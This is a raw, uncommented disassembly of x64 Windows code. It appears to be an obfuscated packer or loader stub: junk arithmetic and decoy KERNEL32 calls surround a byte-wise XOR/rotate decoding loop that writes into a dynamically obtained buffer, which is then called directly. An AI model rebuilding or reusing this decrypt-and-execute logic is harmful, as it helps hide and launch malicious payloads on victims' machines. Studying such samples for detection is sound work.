movzx ecx, byte [section..data]
and eax, ecx
mov byte [rsp + 0xd0], al
mov dword [rsp + 0x20], 0x136e
mov r9d, 0x32e7
mov r8d, 0x25b5
mov edx, 0x337c
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x2f8], eax
mov rax, qword [rsp + 0x58]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x368], al
mov rax, qword [rsp + 0x2d0]
movzx edx, word [rax]
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x4a0], ax
mov rcx, qword [rsp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x114], eax
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x138]
add eax, ecx
mov byte [rsp + 0x64], al
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rsp + 0x1cc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c8], eax
mov rax, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x3b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x338]
mov ecx, dword [rax]
mov rax, qword [rsp + 0x1b0]
add ecx, dword [rax]
mov rax, qword [rsp + 0x140]
mov dword [rax], ecx
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x410]
add rcx, rax
mov rax, qword [rsp + 0x178]
mov qword [rax], rcx
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf8]
add eax, ecx
mov word [0x140012080], ax
movsx ecx, word [rsp + 0x110]
mov rax, qword [rsp + 0x158]
movsx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x100]
mov word [rax], cx
movzx edx, word [rsp + 0xa0]
movzx eax, word [rsp + 0x4a0]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x48], ax
movsx ecx, byte [rsp + 0x358]
movsx eax, byte [rsp + 0x1c0]
xor ecx, eax
mov rax, qword [rsp + 0x468]
mov byte [rax], cl
movzx edx, byte [rsp + 0x138]
mov rax, qword [rsp + 0x290]
movzx ecx, byte [rax]
mov eax, edx
or eax, ecx
mov byte [rsp + 0xd0], al
mov eax, dword [rsp + 0x78]
movzx ecx, al
mov eax, dword [rsp + 0xd4]
sar eax, cl
mov dword [rsp + 0x1cc], eax
mov rcx, qword [rsp + 0x390]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x210]
and rax, rcx
mov qword [rsp + 0x410], rax
mov rax, qword [rsp + 0x140]
mov eax, dword [rax]
add eax, dword [rsp + 0x384]
mov dword [rsp + 0x1c4], eax
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x1e0]
add rcx, rax
mov rax, qword [rsp + 0x400]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1e0]
mov rcx, qword [0x140012068]
sub rcx, rax
mov rax, qword [0x140012070]
mov qword [rax], rcx
movsx eax, word [rsp + 0x3cc]
movsx ecx, word [rsp + 0x2ec]
add eax, ecx
mov word [rsp + 0xf8], ax
movzx ecx, word [rsp + 0x48]
mov rax, qword [rsp + 0x2d0]
movzx eax, word [rax]
sub ecx, eax
mov rax, qword [rsp + 0x270]
mov word [rax], cx
mov rax, qword [rsp + 0x158]
movsx ecx, word [rax]
mov rax, qword [rsp + 0x100]
movsx eax, word [rax]
and ecx, eax
mov rax, qword [rsp + 0x158]
mov word [rax], cx
movzx ecx, byte [rsp + 0x380]
movzx eax, byte [rsp + 0x64]
sub ecx, eax
mov rax, qword [rsp + 0x238]
mov byte [rax], cl
mov rax, qword [rsp + 0x140]
mov ecx, dword [rax]
mov eax, dword [rsp + 0xe0]
sub eax, ecx
mov dword [rsp + 0xb4], eax
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0xd8]
add rax, rcx
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x2c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x438], eax
mov rcx, qword [rsp + 0x470]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x88]
or rax, rcx
mov qword [rsp + 0x4b8], rax
movzx edx, word [rsp + 0x1c8]
mov rax, qword [rsp + 0x270]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0xac], ax
movzx edx, byte [rsp + 0x138]
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [section..data], al
mov eax, dword [rsp + 0xf0]
sub eax, 0x82
mov dword [rsp + 0xf0], eax
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3cc]
and eax, ecx
mov word [rsp + 0x280], ax
movsx edx, byte [0x140011002]
mov rax, qword [rsp + 0x3f8]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x358], al
mov rax, qword [rsp + 0x208]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100]
movsx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x2ec], ax
mov ecx, dword [rsp + 0x438]
mov eax, dword [rsp + 0x1cc]
sub eax, ecx
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x3b0]
add rcx, rax
mov rax, qword [rsp + 0x400]
mov qword [rax], rcx
jmp 0x140004f8a
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
mov rdx, qword [rsp + 0x1e0]
add rdx, rax
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0xc0]
imul rax, qword [rcx]
cmp rdx, rax
jl 0x140006493
lea rcx, [rsp + 0x440]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx r11d, byte [rsp + 0x94]
movsx eax, byte [rsp + 0x358]
movzx ecx, al
mov eax, r11d
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x228]
mov byte [rax], cl
movzx ecx, word [rsp + 0x4a0]
movzx eax, word [rsp + 0x1c8]
xor ecx, eax
mov rax, qword [rsp + 0x270]
mov word [rax], cx
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0xb4]
sub eax, ecx
mov dword [rsp + 0x154], eax
mov rcx, qword [rsp + 0x410]
mov rax, qword [rsp + 0x210]
and rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
add rax, qword [rsp + 0xd8]
mov qword [rsp + 0x3b0], rax
mov eax, dword [rsp + 0x1cc]
mov ecx, dword [rsp + 0x2c8]
add ecx, eax
mov rax, qword [rsp + 0x70]
mov dword [rax], ecx
mov rax, qword [rsp + 0x228]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3c0]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x19c], al
movsx eax, word [rsp + 0x2ec]
movsx ecx, word [0x14001101c]
sub eax, ecx
mov word [0x140011018], ax
mov eax, dword [rsp + 0x68]
add eax, 0xb1
mov dword [rsp + 0x68], eax
movzx edx, word [rsp + 0x39c]
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rsp + 0x1c8], ax
movzx eax, byte [rsp + 0x380]
movzx ecx, byte [rsp + 0x149]
add eax, ecx
mov byte [rsp + 0xd0], al
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x380]
sub eax, ecx
mov byte [rsp + 0x149], al
mov ecx, dword [rsp + 0x334]
mov eax, dword [rsp + 0xb4]
and eax, ecx
mov dword [rsp + 0x36c], eax
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3b0], rax
mov rcx, qword [rsp + 0x190]
mov rax, qword [rsp + 0x1b8]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [rax], rcx
mov r9d, 2
xor r8d, r8d
mov edx, 0xaf5a
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xb8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x27c], eax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov r11d, dword [0x140011020]
mov ecx, dword [rsp + 0x1cc]
or ecx, r11d
mov rax, qword [rsp + 0x3d8]
mov dword [rax], ecx
cmp dword [rsp + 0x68], 0x2f72
jne 0x14000554a
mov dword [rsp + 0x164], 0x45a82bbe
mov rax, qword [rsp + 0x260]
mov eax, dword [rax]
movzx ecx, al
mov edx, dword [rsp + 0xd4]
sar edx, cl
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x78]
add eax, ecx
cmp edx, eax
jne 0x1400057d5
movsx ecx, word [rsp + 0x1e8]
movsx eax, word [0x140011018]
sub ecx, eax
mov rax, qword [rsp + 0x100]
mov word [rax], cx
mov rax, qword [rsp + 0x418]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x358]
add eax, ecx
mov byte [0x140011002], al
movzx ecx, word [rsp + 0x4a0]
movzx eax, word [rsp + 0xac]
sub ecx, eax
mov rax, qword [rsp + 0x270]
mov word [rax], cx
jmp 0x14000581d
mov rax, qword [rsp + 0x3c0]
movsx r8d, byte [rax]
movsx eax, byte [rsp + 0x94]
add r8d, eax
movsx edx, byte [rsp + 0x358]
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
cmp r8d, eax
je 0x14000581d
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0xd0]
add eax, ecx
mov byte [rsp + 0x64], al
mov eax, dword [rsp + 0x164]
sub eax, 0x45a42bbe
mov dword [rsp + 0x164], eax
movzx r8d, word [rsp + 0x48]
movzx eax, word [rsp + 0xac]
sub r8d, eax
mov rax, qword [rsp + 0x270]
movzx edx, word [rax]
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
cmp r8d, eax
jl 0x1400058d2
lea rax, [rsp + 0x3cc]
mov qword [rsp + 0x2e0], rax
movsx eax, word [rsp + 0x40c]
movsx ecx, word [rsp + 0x3cc]
sub eax, ecx
mov word [rsp + 0x2ec], ax
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0xd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1cc], eax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax]
mov qword [rsp + 0x420], rax
mov rcx, qword [rsp + 0x178]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x470]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x410], rax
mov dword [rsp + 0x288], 0x206
mov rax, qword [rsp + 0x338]
mov eax, dword [rax]
mov dword [rsp + 0x268], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x428]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x98]
movzx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [0x14001100a], al
mov eax, dword [rsp + 0x288]
or eax, 0x4198
mov dword [rsp + 0x288], eax
movsx edx, byte [rsp + 0x19c]
movsx eax, byte [rsp + 0x28c]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x58]
mov byte [rax], cl
lea rax, [rsp + 0xac]
mov qword [rsp + 0x128], rax
movzx eax, byte [rsp + 0x138]
movzx ecx, byte [rsp + 0x64]
or eax, ecx
mov byte [rsp + 0x380], al
movzx eax, word [rsp + 0x1c8]
movzx ecx, word [rsp + 0x2e8]
and eax, ecx
mov word [rsp + 0x48], ax
mov eax, dword [rsp + 0x288]
mov dword [rsp + 0x370], eax
mov rax, qword [rsp + 0x3b0]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x410]
sub rcx, rax
mov rax, qword [rsp + 0x470]
mov qword [rax], rcx
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x3d8]
mov ecx, dword [rax]
mov eax, dword [0x140011020]
sub eax, ecx
mov dword [rsp + 0x2c8], eax
mov rax, qword [rsp + 0x510]
mov rax, qword [rax + 0xd1e8]
mov qword [rsp + 0x168], rax
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0x320]
and rcx, rax
mov rax, qword [rsp + 0x400]
mov rax, qword [rax]
imul rax, qword [rsp + 0x420]
cmp rcx, rax
je 0x140006486
movsx edx, word [rsp + 0x40c]
mov rax, qword [rsp + 0x100]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [0x140012080], ax
movzx edx, word [rsp + 0xa0]
mov rax, qword [rsp + 0x128]
movzx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x198], ax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0x398], al
mov edx, 0x6217c
mov rcx, qword [rsp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xf4], eax
mov r8d, dword [rsp + 0x370]
mov edx, dword [rsp + 0x288]
mov ecx, dword [rsp + 0x164]
call qword [rsp + 0x168]
mov qword [rsp + 0x490], rax
mov rax, qword [rsp + 0x228]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x358]
add ecx, eax
mov rax, qword [rsp + 0x228]
mov byte [rax], cl
movzx eax, byte [rsp + 0x94]
mov byte [rsp + 0x3a8], al
mov rax, qword [rsp + 0x140]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x1c4]
add eax, ecx
mov dword [rsp + 0xb4], eax
mov rax, qword [rsp + 0x490]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x308]
mov dword [rax], ecx
mov rax, qword [rsp + 0x178]
mov rax, qword [rax]
mov qword [rsp + 0x230], rax
mov rcx, qword [rsp + 0x80]
mov rax, qword [rsp + 0x400]
mov rax, qword [rax]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x50]
mov qword [rax], rcx
mov dword [rsp + 0x3ec], 0x76778c62
mov rax, qword [rsp + 0x270]
movzx edx, word [rax]
mov rax, qword [rsp + 0x2d0]
movzx ecx, word [rax]
mov eax, edx
or eax, ecx
mov word [0x14001102c], ax
movzx eax, word [rsp + 0x2ec]
mov word [rsp + 0x3e4], ax
movsx edx, word [rsp + 0x3e4]
movsx eax, word [rsp + 0x1e8]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x2ec], ax
mov dword [rsp + 0x14c], 4
mov rax, qword [rsp + 0x238]
movzx eax, byte [rax]
mov byte [rsp + 0x1ec], al
movsx edx, byte [rsp + 0x28c]
mov rax, qword [rsp + 0x58]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x418]
mov byte [rax], cl
mov rdx, qword [rsp + 0x140]
mov rax, qword [rsp + 0x338]
mov ecx, dword [rax]
mov eax, dword [rdx]
and eax, ecx
mov dword [rsp + 0xe4], eax
mov rax, qword [rsp + 0x510]
add rax, 0x15680
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x400]
mov rax, qword [rax]
mov qword [rsp + 0x310], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r11, qword [rsp + 0x1b8]
mov rax, qword [0x140012060]
add rax, r11
mov qword [rsp + 0x3f0], rax
lea rax, [rsp + 0x2c8]
mov qword [rsp + 0x340], rax
lea rax, [rsp + 0x64]
mov qword [0x140012078], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x258], rax
movzx eax, word [rsp + 0xa0]
movzx ecx, word [rsp + 0x2b0]
add eax, ecx
mov word [rsp + 0x2e8], ax
movsx edx, word [rsp + 0xf8]
mov rax, qword [rsp + 0x2e0]
movsx ecx, word [rax]
mov eax, edx
add eax, ecx
mov word [rsp + 0x40c], ax
mov rax, qword [rsp + 0x228]
movzx eax, byte [rax]
mov byte [rsp + 0x10c], al
mov rax, qword [rsp + 0x238]
movzx ecx, byte [rax]
mov rax, qword [rsp + 0x98]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [rsp + 0x238]
mov byte [rax], cl
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
mov qword [rsp + 0x180], rax
mov dword [rsp + 0x1d8], 0x180c10a
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x2c8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x438], eax
mov eax, dword [rsp + 0xe4]
mov ecx, dword [rsp + 0xb4]
sub ecx, eax
mov rax, qword [rsp + 0x338]
mov dword [rax], ecx
mov rax, qword [rsp + 0x190]
mov rax, qword [rax]
mov qword [rsp + 0x2c0], rax
mov eax, dword [rsp + 0x1d8]
or eax, 0x42400
mov dword [rsp + 0x1d8], eax
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x198]
sub eax, ecx
mov word [0x140011028], ax
mov rax, qword [rsp + 0x2e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ec]
sub eax, ecx
mov word [rsp + 0x3cc], ax
mov eax, dword [rsp + 0x1d8]
cmp dword [rsp + 0x14c], eax
jae 0x140006278
movzx ecx, word [rsp + 0xac]
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
add ecx, eax
mov rax, qword [rsp + 0x128]
mov word [rax], cx
lea rcx, str.4LRX2QHDdca_LORH
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xa4], ax
mov rax, qword [rsp + 0x258]
movzx eax, byte [rax]
mov byte [rsp + 0x160], al
movsx edx, byte [rsp + 0x28c]
mov rax, qword [rsp + 0x468]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x368], al
mov rax, qword [rsp + 0x418]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x468]
movsx ecx, byte [rax]
mov eax, edx
xor eax, ecx
mov byte [rsp + 0x94], al
mov ecx, dword [rsp + 0x78]
mov rax, qword [rsp + 0x70]
mov eax, dword [rax]
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x340]
mov dword [rax], ecx
mov rax, qword [rsp + 0x338]
mov ecx, dword [rax]
mov eax, dword [rsp + 0xe4]
or eax, ecx
mov dword [rsp + 0x2d8], eax
movzx eax, byte [rsp + 0x160]
xor eax, dword [rsp + 0x3ec]
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x190]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x410], rax
mov rcx, qword [0x140012068]
mov rax, qword [rsp + 0xc0]
add rax, rcx
mov qword [rsp + 0x1e0], rax
movzx ecx, byte [rsp + 0x284]
mov rax, qword [rsp + 0x428]
movzx eax, byte [rax]
sub ecx, eax
mov rax, qword [0x140012078]
mov byte [rax], cl
movzx ecx, byte [rsp + 0x3ec]
movzx eax, byte [rsp + 0x160]
ror al, cl
mov byte [rsp + 0x160], al
movzx eax, byte [rsp + 0x380]
movzx ecx, byte [rsp + 0x398]
add eax, ecx
mov byte [rsp + 0x64], al
movsx ecx, word [rsp + 0x3e4]
movsx eax, word [rsp + 0xf8]
sub ecx, eax
mov rax, qword [rsp + 0x158]
mov word [rax], cx
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rsp + 0x160]
mov byte [rcx], al
mov rax, qword [rsp + 0x3f8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x418]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x94], al
movzx eax, word [0x14001102c]
movzx ecx, word [rsp + 0xa0]
and eax, ecx
mov word [rsp + 0x2e8], ax
mov ecx, dword [rsp + 0x1cc]
mov eax, dword [rsp + 0x2c8]
sub eax, ecx
mov dword [rsp + 0x438], eax
mov rax, qword [rsp + 0x258]
add rax, 1
mov qword [rsp + 0x258], rax
mov edx, 0x15b352
mov rcx, qword [rsp + 0x248]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xf4], eax
mov ecx, dword [0x140011004]
mov eax, dword [rsp + 0xe4]
add eax, ecx
mov dword [rsp + 0x2d8], eax
mov rax, qword [rsp + 0x178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, qword [rsp + 0x390]
mov qword [rax], rcx
mov rax, qword [rsp + 0x40]
add rax, 1
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x400]
mov rax, qword [rsp + 0x180]
mov rcx, qword [rcx]
xor rcx, rax
mov rax, qword [rsp + 0x400]
mov qword [rax], rcx
movsx edx, byte [0x140012082]
movsx eax, byte [rsp + 0x10c]
movzx ecx, al
mov eax, edx
shl eax, cl
mov byte [0x140011002], al
mov rax, qword [rsp + 0x128]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x39c]
or eax, ecx
mov word [rsp + 0x2e8], ax
movzx edx, byte [rsp + 0x1ec]
mov rax, qword [0x140012078]
movzx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [rsp + 0x284], al
mov rax, qword [rsp + 0x208]
movsx ecx, word [rax]
movsx eax, word [rsp + 0x110]
and ecx, eax
mov rax, qword [rsp + 0x158]
mov word [rax], cx
movsx eax, word [rsp + 0x1e8]
movsx ecx, word [0x140011018]
add eax, ecx
mov word [rsp + 0x250], ax
mov eax, dword [rsp + 0x3ec]
imul eax, eax, 0x14f7
mov dword [rsp + 0x3ec], eax
mov rcx, qword [rsp + 0x80]
mov rcx, qword [rcx]
mov rax, qword [rsp + 0x310]
add rax, rcx
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0x178]
mov rax, qword [rsp + 0x390]
mov rax, qword [rax]
mov rcx, qword [rcx]
sub rcx, rax
mov rax, qword [rsp + 0x190]
mov qword [rax], rcx
mov rax, qword [rsp + 0x338]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x140]
add eax, dword [rcx]
mov dword [rsp + 0x328], eax
mov eax, dword [rsp + 0x3ec]
add eax, 0x6edb
mov dword [rsp + 0x3ec], eax
mov rax, qword [rsp + 0x260]
mov ecx, dword [rsp + 0xd4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x78], eax
movsx edx, byte [rsp + 0x28c]
mov rax, qword [rsp + 0x228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x94], al
lea rcx, str.U_RBr
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x32c], ax
mov eax, dword [rsp + 0x14c]
add eax, 0x1c8af
mov dword [rsp + 0x14c], eax
mov rax, qword [rsp + 0x270]
movzx edx, word [rax]
mov rax, qword [rsp + 0x2d0]
movzx ecx, word [rax]
mov eax, edx
and eax, ecx
mov word [0x14001102c], ax
movzx ecx, byte [rsp + 0xd0]
movzx eax, byte [rsp + 0x380]
sub ecx, eax
mov rax, qword [rsp + 0x428]
mov byte [rax], cl
mov rax, qword [rsp + 0x218]
movsx edx, word [rax]
mov rax, qword [rsp + 0x100]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x208]
mov word [rax], cx
movzx edx, word [rsp + 0x39c]
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov word [rsp + 0x1a4], ax
mov rax, qword [rsp + 0x400]
mov rcx, qword [rsp + 0x420]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x180], rax
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
mov ecx, dword [rcx]
xor ecx, eax
mov rax, qword [rsp + 0x308]
mov dword [rax], ecx
jmp 0x140005dbd
mov rax, qword [rsp + 0x1b0]
mov eax, dword [rax]
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0x390]
mov rcx, qword [rcx]
mov rax, qword [0x140012060]
sub rax, rcx
mov qword [rsp + 0x1b8], rax
mov rax, qword [rsp + 0x228]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x3c0]
movsx ecx, byte [rax]
mov eax, edx
and eax, ecx
mov byte [rsp + 0x28c], al
lea rax, [rsp + 0x284]
mov qword [0x140012098], rax
movzx eax, word [0x14001101c]
mov word [rsp + 0x388], ax
mov rax, qword [rsp + 0x98]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x290]
movzx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x380], al
mov rax, qword [rsp + 0x490]
add rax, 0xda
mov qword [rsp + 0x1f0], rax
movzx eax, word [rsp + 0x39c]
mov word [rsp + 0x1a8], ax
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax]
mov eax, dword [rsp + 0x2d8]
add eax, ecx
mov dword [rsp + 0x384], eax
mov rax, qword [rsp + 0x170]
add rax, 0xda
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x4f8], rax
cmp qword [rsp + 0x4f8], 0
je 0x140006376
jmp 0x1400063c6
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea r11, [rsp + 0x180]
mov qword [rsp + 0x488], r11
mov eax, dword [0x140012084]
mov ecx, dword [rsp + 0xd4]
sub ecx, eax
mov rax, qword [rsp + 0x3d8]
mov dword [rax], ecx
mov rax, qword [rsp + 0x178]
mov rax, qword [rax]
add rax, qword [rsp + 0x88]
mov qword [rsp + 0x3f0], rax
jmp 0x1400063e4
movsx edx, byte [rsp + 0x10c]
mov rax, qword [rsp + 0x3f8]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0x510]
mov qword [rsp + 0x200], rax
lea rax, [0x14001101c]
mov qword [0x140012088], rax
mov rax, qword [rsp + 0x468]
movzx eax, byte [rax]
mov byte [rsp + 0x330], al
mov rax, qword [rsp + 0x480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x198]
sub eax, ecx
mov word [rsp + 0x4a0], ax
movzx eax, word [rsp + 0x1e8]
mov word [rsp + 0x4a8], ax
lea rcx, [rsp + 0x1f0]
call qword [rsp + 0x490]
mov r11d, dword [rsp + 0x438]
mov ecx, dword [0x140012084]
add ecx, r11d
mov rax, qword [rsp + 0x70]
mov dword [rax], ecx
mov rax, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x4b8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x410], rax
movzx ecx, byte [rsp + 0x220]
call fcn.140006c10
mov rax, qword [rsp + 0x1b0]
mov ecx, dword [rax]
mov eax, dword [0x140012090]
and eax, ecx
mov dword [rsp + 0x384], eax
movsx edx, byte [rsp + 0x94]
mov rax, qword [rsp + 0x58]
movsx ecx, byte [rax]
mov eax, edx
add eax, ecx
mov byte [rsp + 0x368], al
movzx edx, byte [rsp + 0x149]
movzx eax, byte [rsp + 0x64]
movzx ecx, al
mov eax, edx
sar eax, cl
mov byte [section..data], al
mov edx, 0xd0
mov rcx, qword [rsp + 0x498]
call qword [sym.imp.ADVAPI32.dll_DecryptFileW]
mov dword [rsp + 0x298], eax
mov rax, qword [rsp + 0x480]
movzx ecx, word [rax]
mov rax, qword [rsp + 0x270]
movzx eax, word [rax]
or ecx, eax
mov rax, qword [rsp + 0x2d0]
mov word [rax], cx
movzx ecx, byte [rsp + 0x368]
call fcn.140006c10
mov rax, qword [rsp + 0x3f8]
movsx ecx, byte [rax]
movsx eax, byte [rsp + 0x220]
sub ecx, eax
mov rax, qword [rsp + 0x228]
mov byte [rax], cl
mov rax, qword [rsp + 0x228]
movzx ecx, byte [rax]
call fcn.140006c10
mov r11, qword [rsp + 0x2d0]
movzx eax, word [r11]
movzx ecx, word [rsp + 0x1c8]
sub eax, ecx
mov word [rsp + 0x1a4], ax
mov rax, qword [rsp + 0x158]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x280]
add eax, ecx
mov word [rsp + 0x108], ax
mov ecx, dword [rsp + 0x334]
mov eax, dword [rsp + 0x2d8]
xor eax, ecx
mov dword [rsp + 0xe4], eax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x400]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0x218]
movsx edx, word [rax]
mov rax, qword [rsp + 0x208]
movsx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x2ec], ax
mov rax, qword [rsp + 0x80]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1e0]
sub rcx, rax
mov rax, qword [0x140012070]
mov qword [rax], rcx
